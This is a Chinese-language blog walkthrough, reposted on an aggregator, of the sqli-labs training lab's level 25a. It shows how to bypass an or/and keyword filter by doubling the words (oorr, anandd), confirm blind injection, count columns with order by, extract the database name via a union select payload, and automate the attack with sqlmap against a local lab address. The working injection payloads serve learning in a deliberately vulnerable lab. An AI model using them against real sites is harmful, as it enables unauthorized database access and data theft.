sqli-labs第25a关(AdvancedBlindSQLInjection)快速通关

admin 2026-01-20 01:46:49 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文档解析sqli-labs第25a关通关技巧,该关卡虽过滤or和and且无引号闭合,但核心仍是利用双写如oorr和anandd绕过防御。文章详述了结合盲注与Union注入手动判断列数及显示位的过程,并演示了使用sqlmap自动化测试,最终成功突破限制获取数据库信息。 综合评分: 75 文章分类: WEB安全,渗透测试,CTF,实战经验


cover_image

sqli-labs 第 25a 关(Advanced Blind SQL Injection)快速通关

原创

武文学网安 武文学网安

武文学网安

2026年1月18日 04:40 中国香港

大家好,我是武文。今天带大家一起挑战sqli-labs 第 25a 关。这一关和第25关注入技巧方法几乎一样,主要考察盲注在被精心设计的防御下的突破方法。

一、第 25a 关概述

首先,进入这关,你会发现页面依旧保持熟悉的形式:


?id=1

![](https://mmbiz.qpic.cn/mmbiz_png/VFf46TKXLVFNYOzDGRTYXgTkKf2yUJ9ZuecnxssRwP5c8CBbET4374Bv3yhWkc1ic9achkXHRS9kqSt5tM3NaDA/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=0)

但是,SQL 注入的经典技巧并没有奏效。你会发现,注入被屏蔽了,无法直接执行 or 1=1 等经典 payload。

这一关有很明显的提醒,or和and均被替换。绕过方式可以继续参照前面一关第25关的通过方法。删掉 or / and 就安全了?sqli-labs 第 25 关彻底打脸

二、首先做闭合符号测试

在做闭合符号测试的时候,发现这一关卡并没有单、双引号和括号的闭合方式。可以通过一下方式验证:

?id=1' --+                 页面错误?id=1' oorr 1=1 --+        页面错误?id=1' anandd 1=1 --+       页面错误?id=1 oorr 1=1 --+          页面正常?id=1 anandd 1=1            页面正常?id=1 anandd 1=2            页面错误

已关注

关注

重播 分享 赞

关闭

观看更多

更多

退出全屏

切换到竖屏全屏退出全屏

武文学网安已关注

分享视频

,时长00:41

0/0

00:00/00:41

切换到横屏模式

继续播放

[ ]

进度条,百分之0

播放

00:00

/

00:41

00:41

倍速

全屏

倍速播放中

0.5倍 0.75倍 1.0倍 1.5倍 2.0倍

超清 流畅

 您的浏览器不支持 video 标签

继续观看

sqli-labs 第 25a 关(Advanced Blind SQL Injection)快速通关

观看更多

转载

,

sqli-labs 第 25a 关(Advanced Blind SQL Injection)快速通关

武文学网安已关注

分享点赞在看

已同步到看一看写下你的评论

视频详情

通过测试,我们发现这一关卡并没有引号和括号作为闭合符。但有明显的注入点,接下来就是判断注入方式。

二、手动判断注入模式:

我们仍然秉承着手动判断注入方式+sqlmap自动注入测试的方式,来进行学习加练习。

2.1 盲注

这一关的最关键特征就是:盲注

通过前面闭合方式测试,知道页面有两种不同的方式。

| | | | — | — | | | |

可以判断出当前页面可以进行盲注。

2.2 显错注入

构造url:

?id=1 anandd updatexml(1,concat(0x7e,database(),0x7e),1)

可以看到,无法进行XPATH的显错注入

2.3 尝试UNION注入

首先判断当前查询列数:

?id=1 oorrder by 1?id=1 oorrder by 2?id=1 oorrder by 3?id=1 oorrder by 4

在order by 4的时候出现错误,说明当前查询列数为3。

判断是否有显示位:

?id=-1 union select 1,2,3

可以得到页面显示位是2,3。我们可以通过选择3来作为我们的显示位进行数据展示:

?id=-1 union select 1,2,database()

目前利用手工方式成功判断出存在盲注,union查询注入两种方式。

三、利用sqlmap自动测试:

python sqlmap.py -u "http://192.168.1.9:8080/Less-25a/?id=1" -p id --level=5 --batch

可以看到sqlmap能够成功验证我们的判断。

#

四、总结

这一关和前面第25关通关方式除了没有闭合符号,其他基本一致。算是对第25关的加深印象吧


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:武文学网安 武文学网安 武文学网安《sqli-labs 第 25a 关(Advanced Blind SQL Injection)快速通关》

评论:0   参与:  0